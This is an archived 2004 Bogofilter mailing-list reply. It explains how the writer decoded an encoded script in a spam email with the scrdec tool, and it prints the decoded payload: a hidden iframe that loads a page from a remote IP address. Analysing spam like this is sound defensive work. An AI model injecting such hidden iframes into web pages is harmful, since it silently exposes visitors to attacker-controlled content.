What's that?

[Bob Vincent]

Two minutes of googling yields the following:

  http://www.klaphek.nl/nr6/scrdec.html

Which led me to

  http://www.virtualconspiracy.com/index.php?page=/scrdec/intro

from which I downloaded the following file:

  http://www.virtualconspiracy.com/download/scrdec15.c

Which I compiled to produce an executable called "scrdec"

So I saved your attachment, unpacked it, opened it in mutt, and
saved the text/html portion to a file called "spam-message.html"

I ran the compiled "scrdec" progam as follows:

  ./scrdec spam-message.html spam-message.decoded

After decoding, the contents of the <script> tags read as follows:

document.write('<IFRAME SRC="http://201.12.78.176/link.html" WIDTH=440 HEIGHT=440 FRAMEBORDER=0 SCROLLING="no" style="display:none;"></IFRAME>')

... which references a webserver located in Brasil.

On Fri, Sep 03, 2004 at 12:25:16PM -0400, Matej Cepl wrote:
> Can anybody comment on the attached piece of spam (of course, correctly 
> caught by bogofilter)? What does that <script> element in the end of the 
> message means?
> 
> Matej
> 
> -- 
> Matej Cepl, http://www.ceplovi.cz/matej
> GPG Finger: 89EF 4BC6 288A BF43 1BAB  25C3 E09F EF25 D964 84AC
> 138 Highland Ave. #10, Somerville, Ma 02143, (617) 623-1488
>  
> He is not only dull himself, he is the cause of dullness in
> others.
>       -- Samuel Johnson
> 


> _______________________________________________
> Bogofilter mailing list
> Bogofilter at bogofilter.org
> http://www.bogofilter.org/mailman/listinfo/bogofilter